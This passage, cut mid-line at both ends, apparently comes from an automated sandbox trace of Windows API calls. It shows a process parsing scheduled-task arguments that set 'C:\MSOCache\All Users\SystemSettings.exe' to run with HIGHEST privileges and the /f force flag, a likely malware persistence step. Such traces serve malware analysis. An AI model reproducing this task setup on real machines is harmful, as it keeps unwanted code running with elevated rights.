_Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.157] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.158] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.158] lstrlenW (lpString="|query|") returned 7 [0135.158] lstrlenW (lpString="|tr|") returned 4 [0135.158] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0135.158] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.158] lstrlenW (lpString="change") returned 6 [0135.158] lstrlenW (lpString="change") returned 6 [0135.158] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.158] lstrlenW (lpString="tr") returned 2 [0135.158] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.158] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.158] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.158] lstrlenW (lpString="|change|") returned 8 [0135.158] lstrlenW (lpString="|tr|") returned 4 [0135.158] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0135.158] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.158] lstrlenW (lpString="run") returned 3 [0135.158] lstrlenW (lpString="run") returned 3 [0135.158] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.158] lstrlenW (lpString="tr") returned 2 [0135.158] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.158] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.158] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.158] lstrlenW (lpString="|run|") returned 5 [0135.158] lstrlenW (lpString="|tr|") returned 4 [0135.158] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0135.158] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.158] lstrlenW (lpString="end") returned 3 [0135.158] lstrlenW (lpString="end") returned 3 [0135.158] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.159] lstrlenW (lpString="tr") returned 2 [0135.159] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.159] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.159] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.159] lstrlenW (lpString="|end|") returned 5 [0135.159] lstrlenW (lpString="|tr|") returned 4 [0135.159] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] lstrlenW (lpString="showsid") returned 7 [0135.159] lstrlenW (lpString="showsid") returned 7 [0135.159] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.159] lstrlenW (lpString="tr") returned 2 [0135.159] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.159] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.159] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|tr|") returned 4 [0135.159] lstrlenW (lpString="|showsid|") returned 9 [0135.159] lstrlenW (lpString="|tr|") returned 4 [0135.159] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] lstrlenW (lpString="/tr") returned 3 [0135.159] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.159] lstrlenW (lpString="/tr") returned 3 [0135.159] GetProcessHeap () returned 0x2781b7c0000 [0135.159] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x8) returned 0x2781b7c3be0 [0135.159] GetProcessHeap () returned 0x2781b7c0000 [0135.159] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb7a0 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.160] lstrlenW (lpString="-/") returned 2 [0135.160] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.160] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0135.160] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.160] GetProcessHeap () returned 0x2781b7c0000 [0135.160] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7c3c00 [0135.160] _memicmp (_Buf1=0x2781b7c3c00, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.160] GetProcessHeap () returned 0x2781b7c0000 [0135.160] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7c3c20 [0135.160] GetProcessHeap () returned 0x2781b7c0000 [0135.160] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7caad0 [0135.160] _memicmp (_Buf1=0x2781b7caad0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.160] GetProcessHeap () returned 0x2781b7c0000 [0135.160] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x58) returned 0x2781b7c3c40 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.160] lstrlenW (lpString="'C") returned 2 [0135.160] lstrlenW (lpString="-/") returned 2 [0135.161] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.161] GetProcessHeap () returned 0x2781b7c0000 [0135.161] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x56) returned 0x2781b7cc6a0 [0135.161] GetProcessHeap () returned 0x2781b7c0000 [0135.161] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb4a0 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] lstrlenW (lpString="/rl") returned 3 [0135.161] lstrlenW (lpString="-/") returned 2 [0135.161] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.161] lstrlenW (lpString="?") returned 1 [0135.161] lstrlenW (lpString="?") returned 1 [0135.161] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.161] lstrlenW (lpString="rl") returned 2 [0135.161] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.161] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.161] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.161] lstrlenW (lpString="|?|") returned 3 [0135.161] lstrlenW (lpString="|rl|") returned 4 [0135.161] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.161] lstrlenW (lpString="create") returned 6 [0135.161] lstrlenW (lpString="create") returned 6 [0135.161] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.161] lstrlenW (lpString="rl") returned 2 [0135.161] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.161] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.161] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.162] lstrlenW (lpString="|create|") returned 8 [0135.162] lstrlenW (lpString="|rl|") returned 4 [0135.162] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0135.162] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.162] lstrlenW (lpString="delete") returned 6 [0135.162] lstrlenW (lpString="delete") returned 6 [0135.162] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.162] lstrlenW (lpString="rl") returned 2 [0135.162] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.162] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.162] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.162] lstrlenW (lpString="|delete|") returned 8 [0135.162] lstrlenW (lpString="|rl|") returned 4 [0135.162] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0135.162] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.162] lstrlenW (lpString="query") returned 5 [0135.162] lstrlenW (lpString="query") returned 5 [0135.162] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.162] lstrlenW (lpString="rl") returned 2 [0135.162] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.162] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.162] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.162] lstrlenW (lpString="|query|") returned 7 [0135.162] lstrlenW (lpString="|rl|") returned 4 [0135.162] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0135.162] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.162] lstrlenW (lpString="change") returned 6 [0135.162] lstrlenW (lpString="change") returned 6 [0135.162] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.162] lstrlenW (lpString="rl") returned 2 [0135.163] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.163] lstrlenW (lpString="|change|") returned 8 [0135.163] lstrlenW (lpString="|rl|") returned 4 [0135.163] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0135.163] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.163] lstrlenW (lpString="run") returned 3 [0135.163] lstrlenW (lpString="run") returned 3 [0135.163] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.163] lstrlenW (lpString="rl") returned 2 [0135.163] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.163] lstrlenW (lpString="|run|") returned 5 [0135.163] lstrlenW (lpString="|rl|") returned 4 [0135.163] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0135.163] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.163] lstrlenW (lpString="end") returned 3 [0135.163] lstrlenW (lpString="end") returned 3 [0135.163] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.163] lstrlenW (lpString="rl") returned 2 [0135.163] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.163] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.163] lstrlenW (lpString="|end|") returned 5 [0135.163] lstrlenW (lpString="|rl|") returned 4 [0135.163] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] lstrlenW (lpString="showsid") returned 7 [0135.164] lstrlenW (lpString="showsid") returned 7 [0135.164] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.164] lstrlenW (lpString="rl") returned 2 [0135.164] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.164] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.164] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|rl|") returned 4 [0135.164] lstrlenW (lpString="|showsid|") returned 9 [0135.164] lstrlenW (lpString="|rl|") returned 4 [0135.164] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] lstrlenW (lpString="/rl") returned 3 [0135.164] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] lstrlenW (lpString="/rl") returned 3 [0135.164] GetProcessHeap () returned 0x2781b7c0000 [0135.164] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x8) returned 0x2781b7c3ca0 [0135.164] GetProcessHeap () returned 0x2781b7c0000 [0135.164] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb770 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] lstrlenW (lpString="HIGHEST") returned 7 [0135.164] lstrlenW (lpString="-/") returned 2 [0135.164] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.164] lstrlenW (lpString="HIGHEST") returned 7 [0135.164] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0135.165] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.165] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.165] lstrlenW (lpString="HIGHEST") returned 7 [0135.165] GetProcessHeap () returned 0x2781b7c0000 [0135.165] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x10) returned 0x2781b7ca910 [0135.165] GetProcessHeap () returned 0x2781b7c0000 [0135.165] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb800 [0135.165] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.165] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.165] lstrlenW (lpString="/f") returned 2 [0135.165] lstrlenW (lpString="-/") returned 2 [0135.165] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.165] lstrlenW (lpString="?") returned 1 [0135.165] lstrlenW (lpString="?") returned 1 [0135.165] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.165] lstrlenW (lpString="f") returned 1 [0135.165] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.165] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|?|") returned 3 [0135.165] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.165] lstrlenW (lpString="|?|") returned 3 [0135.165] lstrlenW (lpString="|f|") returned 3 [0135.165] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0135.165] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.165] lstrlenW (lpString="create") returned 6 [0135.165] lstrlenW (lpString="create") returned 6 [0135.165] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.165] lstrlenW (lpString="f") returned 1 [0135.165] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.165] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|create|") returned 8 [0135.165] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.166] lstrlenW (lpString="|create|") returned 8 [0135.166] lstrlenW (lpString="|f|") returned 3 [0135.166] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0135.166] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.166] lstrlenW (lpString="delete") returned 6 [0135.166] lstrlenW (lpString="delete") returned 6 [0135.166] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.166] lstrlenW (lpString="f") returned 1 [0135.166] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.166] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|delete|") returned 8 [0135.166] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.166] lstrlenW (lpString="|delete|") returned 8 [0135.166] lstrlenW (lpString="|f|") returned 3 [0135.166] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0135.166] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.166] lstrlenW (lpString="query") returned 5 [0135.166] lstrlenW (lpString="query") returned 5 [0135.166] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.166] lstrlenW (lpString="f") returned 1 [0135.166] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.166] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x8, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|query|") returned 7 [0135.166] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.166] lstrlenW (lpString="|query|") returned 7 [0135.166] lstrlenW (lpString="|f|") returned 3 [0135.166] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0135.167] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.167] lstrlenW (lpString="change") returned 6 [0135.167] lstrlenW (lpString="change") returned 6 [0135.167] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.167] lstrlenW (lpString="f") returned 1 [0135.169] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|change|") returned 8 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.169] lstrlenW (lpString="|change|") returned 8 [0135.169] lstrlenW (lpString="|f|") returned 3 [0135.169] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0135.169] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.169] lstrlenW (lpString="run") returned 3 [0135.169] lstrlenW (lpString="run") returned 3 [0135.169] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.169] lstrlenW (lpString="f") returned 1 [0135.169] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|run|") returned 5 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.169] lstrlenW (lpString="|run|") returned 5 [0135.169] lstrlenW (lpString="|f|") returned 3 [0135.169] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0135.169] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.169] lstrlenW (lpString="end") returned 3 [0135.169] lstrlenW (lpString="end") returned 3 [0135.169] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.169] lstrlenW (lpString="f") returned 1 [0135.169] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|end|") returned 5 [0135.169] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.169] lstrlenW (lpString="|end|") returned 5 [0135.169] lstrlenW (lpString="|f|") returned 3 [0135.169] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0135.169] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] lstrlenW (lpString="showsid") returned 7 [0135.170] lstrlenW (lpString="showsid") returned 7 [0135.170] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.170] lstrlenW (lpString="f") returned 1 [0135.170] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.170] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0xa, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|showsid|") returned 9 [0135.170] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cf6c8 | out: _Buffer="|f|") returned 3 [0135.170] lstrlenW (lpString="|showsid|") returned 9 [0135.170] lstrlenW (lpString="|f|") returned 3 [0135.170] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] lstrlenW (lpString="/f") returned 2 [0135.170] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] lstrlenW (lpString="/f") returned 2 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x6) returned 0x2781b7ccce0 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb410 [0135.170] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7c4310) returned 1 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7c4310) returned 0x8 [0135.170] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7c4310) returned 1 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.170] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb4d0) returned 1 [0135.170] GetProcessHeap () returned 0x2781b7c0000 [0135.171] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb4d0) returned 0x20 [0135.171] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb4d0) returned 1 [0135.171] GetProcessHeap () returned 0x2781b7c0000 [0135.171] GetProcessHeap () returned 0x2781b7c0000 [0135.171] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb650) returned 1 [0135.171] GetProcessHeap () returned 0x2781b7c0000 [0135.171] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cb650) returned 0x20 [0135.172] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cb650) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cb6b0) returned 1 [0135.172] GetProcessHeap () returned 0x2781b7c0000 [0135.172] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, 